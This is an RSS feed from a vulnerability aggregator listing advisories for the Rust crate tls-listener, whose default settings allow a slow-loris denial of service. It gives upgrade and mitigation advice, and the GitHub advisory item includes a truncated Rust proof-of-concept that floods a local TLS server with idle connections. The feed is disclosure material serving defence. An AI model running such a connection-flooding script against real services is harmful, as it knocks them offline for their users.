<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 15 Oct 2026 13:22:17 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-4523</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-4523</link>
      <description>EUVD-2026-4523</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-4523</guid>
    </item>
    <item>
      <title>fkie_cve-2024-28854</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2024-28854</link>
      <description>&lt;p&gt;tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2024-28854</guid>
    </item>
    <item>
      <title>GHSA-2qph-qpvm-2qf7 — tls-listener affected by the slow loris vulnerability with default configuration</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-2qph-qpvm-2qf7</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; crates.io: tls-listener&lt;/p&gt;
&lt;p&gt;### Summary
With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS.&lt;/p&gt;
&lt;p&gt;### Details
The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack.&lt;/p&gt;
&lt;p&gt;```rust
/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);
```&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.&lt;/p&gt;
&lt;p&gt;```rust
use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};&lt;/p&gt;
&lt;p&gt;#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);&lt;/p&gt;
&lt;p&gt;let url = &amp;#34;127.0.0.1:3000&amp;#34;;
    let sockets: Vec&amp;lt;_&amp;gt; = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!(&amp;#34;{s:?}&amp;#34;))
        .collect();&lt;/p&gt;
&lt;p&gt;let mut js = JoinSet::new();&lt;/p&gt;
&lt;p&gt;let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &amp;amp;socket in &amp;amp;sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; crates.io: tls-listener&lt;/p&gt;
&lt;p&gt;### Summary
With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS.&lt;/p&gt;
&lt;p&gt;### Details
The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack.&lt;/p&gt;
&lt;p&gt;```rust
/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);
```&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.&lt;/p&gt;
&lt;p&gt;```rust
use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};&lt;/p&gt;
&lt;p&gt;#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);&lt;/p&gt;
&lt;p&gt;let url = &amp;#34;127.0.0.1:3000&amp;#34;;
    let sockets: Vec&amp;lt;_&amp;gt; = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!(&amp;#34;{s:?}&amp;#34;))
        .collect();&lt;/p&gt;
&lt;p&gt;let mut js = JoinSet::new();&lt;/p&gt;
&lt;p&gt;let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &amp;amp;socket in &amp;amp;sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-2qph-qpvm-2qf7</guid>
    </item>
    <item>
      <title>gsd-2024-28854</title>
      <link>https://cve.radiocsirt.org/vuln/gsd-2024-28854</link>
      <description>gsd-2024-28854</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/gsd-2024-28854</guid>
    </item>
    <item>
      <title>openSUSE-SU-2024:14009-1 — cargo-audit-advisory-db-20240528-1.1 on GA media</title>
      <link>https://cve.radiocsirt.org/vuln/opensuse-su-2024:14009-1</link>
      <description>&lt;p&gt;cargo-audit-advisory-db-20240528-1.1 on GA media&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;cargo-audit-advisory-db-20240528-1.1 on GA media&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/opensuse-su-2024:14009-1</guid>
    </item>
    <item>
      <title>RUSTSEC-2024-0341 — Slow loris vulnerability with default configuration</title>
      <link>https://cve.radiocsirt.org/vuln/rustsec-2024-0341</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; crates.io: tls-listener&lt;/p&gt;
&lt;p&gt;tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; crates.io: tls-listener&lt;/p&gt;
&lt;p&gt;tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/rustsec-2024-0341</guid>
    </item>
  </channel>
</rss>
